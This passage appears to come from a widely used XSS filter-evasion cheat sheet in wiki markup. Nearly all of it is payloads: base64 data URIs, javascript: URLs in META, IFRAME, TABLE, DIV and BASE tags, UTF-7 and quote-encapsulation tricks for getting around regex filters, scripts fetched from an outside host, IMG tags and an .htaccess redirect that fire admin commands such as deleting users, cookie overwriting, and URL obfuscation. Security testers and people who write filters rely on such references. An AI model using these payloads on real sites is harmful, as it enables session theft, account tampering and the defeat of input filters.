&lt;br /&gt;
=== META using data ===&lt;br /&gt;
Directive URL scheme. This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, because it utilizes base64 encoding. Please see RFC 2397 for more details or go here or here to encode your own. You can also use the XSS [http://ha.ckers.org/xsscalc.html calculator] below if you just want to encode raw HTML or JavaScript as it has a Base64 encoding method:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;refresh&amp;quot; CONTENT=&amp;quot;0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== META with additional URL parameter ===&lt;br /&gt;
If the target website attempts to see if the URL contains &amp;quot;http://&amp;quot; at the beginning you can evade it with the following technique (Submitted by Moritz Naumann):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;refresh&amp;quot; CONTENT=&amp;quot;0; URL=http://;URL=javascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IFRAME  ==&lt;br /&gt;
If iframes are allowed there are a lot of other XSS problems as well:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IFRAME SRC=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IFRAME Event based ==&lt;br /&gt;
IFrames and most other elements can use event based mayhem like the following... &lt;br /&gt;
(Submitted by: David Cross)&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IFRAME SRC=# onmouseover=&amp;quot;alert(document.cookie)&amp;quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== FRAME ==&lt;br /&gt;
Frames have the same sorts of XSS problems as iframes&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== TABLE ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;TABLE BACKGROUND=&amp;quot;javascript:alert('XSS')&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== TD ===&lt;br /&gt;
Just like above, TD's are vulnerable to BACKGROUNDs containing JavaScript XSS vectors:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&amp;quot;javascript:alert('XSS')&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DIV ==&lt;br /&gt;
&lt;br /&gt;
=== DIV background-image===&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;DIV STYLE=&amp;quot;background-image: url(javascript:alert('XSS'))&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== DIV background-image with unicoded XSS exploit ===&lt;br /&gt;
This has been modified slightly to obfuscate the url parameter. The original vulnerability was found by Renaud Lifchitz as a vulnerability in Hotmail:&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;DIV STYLE=&amp;quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&amp;quot;&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== DIV background-image plus extra characters ===&lt;br /&gt;
Rnaske built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8.13, 12288, 65279):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;DIV STYLE=&amp;quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== DIV expression === &lt;br /&gt;
A variant of this was effective against a real world cross site scripting filter using a newline between the colon and &amp;quot;expression&amp;quot;:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;DIV STYLE=&amp;quot;width: expression(alert('XSS'));&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Downlevel-Hidden block ==&lt;br /&gt;
Only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore does not need to be removed, which allows our Cross Site Scripting vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;!--[if gte IE 4]&amp;gt;&lt;br /&gt;
 &amp;lt;SCRIPT&amp;gt;alert('XSS');&amp;lt;/SCRIPT&amp;gt;&lt;br /&gt;
 &amp;lt;![endif]--&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== BASE tag ==&lt;br /&gt;
Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like &amp;quot;images/image.jpg&amp;quot; rather than full paths. If the path includes a leading forward slash like &amp;quot;/images/image.jpg&amp;quot; you can remove one slash from this vector (as long as there are two to begin the comment this will work):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;BASE HREF=&amp;quot;javascript:alert('XSS');//&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== OBJECT tag ==&lt;br /&gt;
If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag). The linked file is actually an HTML file that can contain your XSS:&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;&amp;lt;OBJECT TYPE=&amp;quot;text/x-scriptlet&amp;quot; DATA=&amp;quot;http://ha.ckers.org/scriptlet.html&amp;quot;&amp;gt;&amp;lt;/OBJECT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Using an EMBED tag you can embed a Flash movie that contains XSS ==&lt;br /&gt;
Click here for a demo. If you add the attributes allowScriptAccess=&amp;quot;never&amp;quot; and allownetworking=&amp;quot;internal&amp;quot; it can mitigate this risk (thank you to Jonathan Vanasco for the info).:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;EMBED SRC=&amp;quot;http://ha.ckers.Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess=&amp;quot;never&amp;quot; and allownetworking=&amp;quot;internal&amp;quot; it can mitigate this risk (thank you to Jonathan Vanasco for the info).:&lt;br /&gt;
org/xss.swf&amp;quot; AllowScriptAccess=&amp;quot;always&amp;quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== You can EMBED SVG which can contain your XSS vector ==&lt;br /&gt;
This example only works in Firefox, but it's better than the above vector in Firefox because it does not require the user to have Flash turned on or installed. Thanks to nEUrOO for this one.&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;EMBED SRC=&amp;quot;data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==&amp;quot; type=&amp;quot;image/svg+xml&amp;quot; AllowScriptAccess=&amp;quot;always&amp;quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Using ActionScript inside flash can obfuscate your XSS vector ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;a=&amp;quot;get&amp;quot;;&lt;br /&gt;
b=&amp;quot;URL(\&amp;quot;&amp;quot;;&lt;br /&gt;
c=&amp;quot;javascript:&amp;quot;;&lt;br /&gt;
d=&amp;quot;alert('XSS');\&amp;quot;)&amp;quot;;&lt;br /&gt;
eval(a+b+c+d);&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== XML data island with CDATA obfuscation ==&lt;br /&gt;
This XSS attack works only in IE and Netscape 8.1 in IE rendering engine mode) - vector found by Sec Consult while auditing Yahoo:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;XML ID=&amp;quot;xss&amp;quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;amp;lt;IMG SRC=&amp;quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&amp;quot;&amp;amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/XML&amp;gt;&lt;br /&gt;
&amp;lt;SPAN DATASRC=&amp;quot;#xss&amp;quot; DATAFLD=&amp;quot;B&amp;quot; DATAFORMATAS=&amp;quot;HTML&amp;quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Locally hosted XML with embedded JavaScript that is generated using an XML data island ==&lt;br /&gt;
This is the same as above but instead referrs to a locally hosted (must be on the same server) XML file that contains your cross site scripting vector. You can see the result here:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;XML SRC=&amp;quot;xsstest.xml&amp;quot; ID=I&amp;gt;&amp;lt;/XML&amp;gt;&lt;br /&gt;
&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== HTML+TIME in XML ==&lt;br /&gt;
This is how Grey Magic hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&lt;br /&gt;
&amp;lt;?xml:namespace prefix=&amp;quot;t&amp;quot; ns=&amp;quot;urn:schemas-microsoft-com:time&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?import namespace=&amp;quot;t&amp;quot; implementation=&amp;quot;#default#time2&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;t:set attributeName=&amp;quot;innerHTML&amp;quot; to=&amp;quot;XSS&amp;amp;lt;SCRIPT DEFER&amp;amp;gt;alert(&amp;amp;quot;XSS&amp;amp;quot;)&amp;amp;lt;/SCRIPT&amp;amp;gt;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Assuming you can only fit in a few characters and it filters against &amp;quot;.js&amp;quot; ==&lt;br /&gt;
you can rename your JavaScript file to an image as an XSS vector:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT SRC=&amp;quot;http://ha.ckers.org/xss.jpg&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== SSI (Server Side Includes)== &lt;br /&gt;
This requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;!--#exec cmd=&amp;quot;/bin/echo '&amp;lt;SCR'&amp;quot;--&amp;gt;&amp;lt;!--#exec cmd=&amp;quot;/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;'&amp;quot;--&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== PHP ==&lt;br /&gt;
Requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;? echo('&amp;lt;SCR)';&lt;br /&gt;
echo('IPT&amp;gt;alert(&amp;quot;XSS&amp;quot;)&amp;lt;/SCRIPT&amp;gt;'); ?&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== IMG Embedded commands ==&lt;br /&gt;
This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc.... This is one of the lesser used but more useful XSS vectors:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC=&amp;quot;http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== IMG Embedded commands part II ===&lt;br /&gt;
This is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal &amp;lt;IMG SRC=&amp;quot;http://badguy.com/a.jpg&amp;quot;&amp;gt; could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;Redirect 302 /a.jpg http://victimsite.com/admin.asp&amp;amp;deleteuser&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Cookie manipulation ==&lt;br /&gt;
Admittidly this is pretty obscure but I have seen a few examples where &amp;lt;META is allowed and you can use it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc...):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;Set-Cookie&amp;quot; Content=&amp;quot;USERID=&amp;amp;lt;SCRIPT&amp;amp;gt;alert('XSS')&amp;amp;lt;/SCRIPT&amp;amp;gt;&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== UTF-7 encoding ==&lt;br /&gt;
If the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov for this one). Click here for an example (you don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 in IE rendering engine mode). This does not work in any modern browser without changing the encoding type which is why it is marked as completely unsupported. Watchfire found this hole in Google's custom 404 script.: &lt;br /&gt;
  &amp;lt;nowiki&amp;gt;&amp;lt;HEAD&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;CONTENT-TYPE&amp;quot; CONTENT=&amp;quot;text/html; charset=UTF-7&amp;quot;&amp;gt; &amp;lt;/HEAD&amp;gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== XSS using HTML quote encapsulation ==&lt;br /&gt;
This was tested in IE, your mileage may vary. For performing XSS on sites that allow &amp;quot;&amp;lt;SCRIPT&amp;gt;&amp;quot; but don't allow &amp;quot;&amp;lt;SCRIPT SRC...&amp;quot; by way of a regex filter &amp;quot;/&amp;lt;script[^&amp;gt;]+src/i&amp;quot;:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT a=&amp;quot;&amp;gt;&amp;quot; SRC=&amp;quot;http://ha.ckers.org/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
For performing XSS on sites that allow &amp;quot;&amp;lt;SCRIPT&amp;gt;&amp;quot; but don't allow &amp;quot;&amp;lt;script src...&amp;quot; by way of a regex filter &amp;quot;/&amp;lt;script((\s+\w+(\s*=\s*(?:&amp;quot;(.)*?&amp;quot;|'(.)*?'|[^'&amp;quot;&amp;gt;\s]+))?)+\s*|\s*)src/i&amp;quot; (this is an important one, because I've seen this regex in the wild):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT =&amp;quot;&amp;gt;&amp;quot; SRC=&amp;quot;http://ha.ckers.org/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Another XSS to evade the same filter, &amp;quot;/&amp;lt;script((\s+\w+(\s*=\s*(?:&amp;quot;(.)*?&amp;quot;|'(.)*?'|[^'&amp;quot;&amp;gt;\s]+))?)+\s*|\s*)src/i&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT a=&amp;quot;&amp;gt;&amp;quot; '' SRC=&amp;quot;http://ha.ckers.org/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Yet another XSS to evade the same filter, &amp;quot;/&amp;lt;script((\s+\w+(\s*=\s*(?:&amp;quot;(.)*?&amp;quot;|'(.)*?'|[^'&amp;quot;&amp;gt;\s]+))?)+\s*|\s*)src/i&amp;quot;. I know I said I wasn't goint to discuss mitigation techniques but the only thing I've seen work for this XSS example if you still want to allow &amp;lt;SCRIPT&amp;gt; tags but not remote script is a state machine (and of course there are other ways to get around this if they allow &amp;lt;SCRIPT&amp;gt; tags):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT &amp;quot;a='&amp;gt;'&amp;quot; SRC=&amp;quot;http://ha.ckers.org/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
And one last XSS attack to evade, &amp;quot;/&amp;lt;script((\s+\w+(\s*=\s*(?:&amp;quot;(.)*?&amp;quot;|'(.)*?'|[^'&amp;quot;&amp;gt;\s]+))?)+\s*|\s*)src/i&amp;quot; using grave accents (again, doesn't work in Firefox):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT a=`&amp;gt;` SRC=&amp;quot;http://ha.ckers.org/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT a=&amp;quot;&amp;gt;'&amp;gt;&amp;quot; SRC=&amp;quot;http://ha.ckers.org/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT&amp;gt;document.write(&amp;quot;&amp;lt;SCRI&amp;quot;);&amp;lt;/SCRIPT&amp;gt;PT SRC=&amp;quot;http://ha.ckers.org/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== URL string evasion ==&lt;br /&gt;
Assuming &amp;quot;http://www.google.com/&amp;quot; is pro grammatically disallowed:&lt;br /&gt;
&lt;br /&gt;
=== IP verses hostname ===&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http://66.102.7.147/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== URL encoding ===&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dword encoding ===&lt;br /&gt;
(Note: there are other of variations of Dword encoding - see the IP Obfuscation calculator below for more details):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http://1113982867/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Hex encoding ===&lt;br /&gt;
The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex quotet is not required):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http://0x42.0x0000066.0x7.0x93/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Octal encoding ===&lt;br /&gt;
Again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http://0102.0146.0007.00000223/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Mixed encoding === &lt;br /&gt;
Let's mix and match base encoding and throw in some tabs and newlines - why browsers allow this, I'll never know). The tabs and newlines only work if this is encapsulated with quotes:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;h&lt;br /&gt;
tt	p://6&amp;amp;#9;6.000146.0x7.147/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Protocol resolution bypass ===&lt;br /&gt;
(// translates to http:// which saves a few more bytes). This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like &amp;quot;(ht|f)tp(s)?://&amp;quot; (thanks to Ozh for part of this one). You can also change the &amp;quot;//&amp;quot; to &amp;quot;\\&amp;quot;. You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL.&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;//www.google.com/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Google &amp;quot;feeling lucky&amp;quot; part 1. ===&lt;br /&gt;
Firefox uses Google's &amp;quot;feeling lucky&amp;quot; function to redirect the user to any keywords you type in. So if your exploitable page is the top for some random keyword (as you see here) you can use that feature against any Firefox user. This uses Firefox's &amp;quot;keyword:&amp;quot; protocol. You can concatinate several keywords by using something like the following &amp;quot;keyword:XSS+RSnake&amp;quot; for instance. This no longer works within Firefox as of 2.0. &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;//google&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Google &amp;quot;feeling lucky&amp;quot; part 2.===&lt;br /&gt;
This uses a very tiny trick that appears to work Firefox only, because if it's implementation of the &amp;quot;feeling lucky&amp;quot; function. Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic Auth phishing attack, which it is not. It's simply a malformed URL. If you click okay on the dialogue it will work, but as a result of the erroneous dialogue box I am saying that this is not supported in Opera, and it is no longer supported in Firefox as of 2.0:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http://ha.ckers.org@google&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Google &amp;quot;feeling lucky&amp;quot; part 3. === &lt;br /&gt;
This uses a malformed URL that appears to work in Firefox and Opera only, because if their implementation of the &amp;quot;feeling lucky&amp;quot; function. Like all of the above it requires that you are #1 in Google for the keyword in question (in this case &amp;quot;google&amp;quot;):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http://google:ha.ckers.org&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Removing cnames  ===&lt;br /&gt;
When combined with the above URL, removing &amp;quot;www.&amp;quot; will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http://google.com/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Extra dot for absolute DNS:===&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http://www.google.com./&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== JavaScript link location: ===&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;javascript:document.location='http://www.google.com/'&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Content replace as attack vector ===&lt;br /&gt;
Assuming &amp;quot;http://www.google.com/&amp;quot; is programmatically replaced with nothing). I actually used a similar attack vector against a several separate real world XSS filters by using the conversion filter itself (here is an example) to help create the attack vector (IE: &amp;quot;java&amp;amp;#x26;#x09;script:&amp;quot; was converted into &amp;quot;java&amp;amp;#x09;script:&amp;quot;, which renders in IE, Netscape 8.1+ in secure site mode and Opera):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http://www.gohttp://www.google.com/ogle.com/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Character escape sequences ==&lt;br /&gt;
All the possible combinations of the character &amp;quot;&amp;lt;&amp;quot; in HTML and JavaScript. Most of these won't render out of the box, but many of them can get rendered in certain circumstances as seen above.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;&lt;br /&gt;
 %3C&lt;br /&gt;
 &amp;amp;amp;lt&lt;br /&gt;
 &amp;amp;amp;lt;&lt;br /&gt;
 &amp;amp;amp;LT&lt;br /&gt;
 &amp;amp;amp;LT;&lt;br /&gt;
 &amp;amp;amp;#60&lt;br /&gt;
 &amp;amp;amp;#060&lt;br /&gt;
 &amp;amp;amp;#0060&lt;br /&gt;
 &amp;amp;amp;#00060&lt;br /&gt;
 &amp;amp;amp;#000060&lt;br /&gt;
 &amp;amp;amp;#0000060&lt;br /&gt;
 &amp;amp;amp;#60;&lt;br /&gt;
 &amp;amp;amp;#060;&lt;br /&gt;
 &amp;amp;amp;#0060;&lt;br /&gt;
 &amp;amp;amp;#00060;&lt;br /&gt;
 &amp;amp;amp;#000060;&lt;br /&gt;
 &amp;amp;amp;#0000060;&lt;br /&gt;
 &amp;amp;amp;#x3c&lt;br /&gt;
 &amp;amp;amp;#x03c&lt;br /&gt;
 &amp;amp;amp;#x003c&lt;br /&gt;
 &amp;amp;amp;#x0003c&lt;br /&gt;
 &amp;amp;amp;#x00003c&lt;br /&gt;
 &amp;amp;amp;#x000003c&lt;br /&gt;
 &amp;amp;amp;#x3c;&lt;br /&gt;
 &amp;amp;amp;#x03c;&lt;br /&gt;
 &amp;amp;amp;#x003c;&lt;br /&gt;
 &amp;amp;amp;#x0003c;&lt;br /&gt;
 &amp;amp;amp;#x00003c;&lt;br /&gt;
 &amp;amp;amp;#x000003c;&lt;br /&gt;
 &amp;amp;amp;#X3c&lt;br /&gt;
 &amp;amp;amp;#X03c&lt;br /&gt;
 &amp;amp;amp;#X003c&lt;br /&gt;
 &amp;amp;amp;#X0003c&lt;br /&gt;
 &amp;amp;amp;#X00003c&lt;br /&gt;
 &amp;amp;amp;#X000003c&lt;br /&gt;
 &amp;amp;amp;#X3c;&lt;br /&gt;
 &amp;amp;amp;#X03c;&lt;br /&gt;
 &amp;amp;amp;#X003c;&lt;br /&gt;
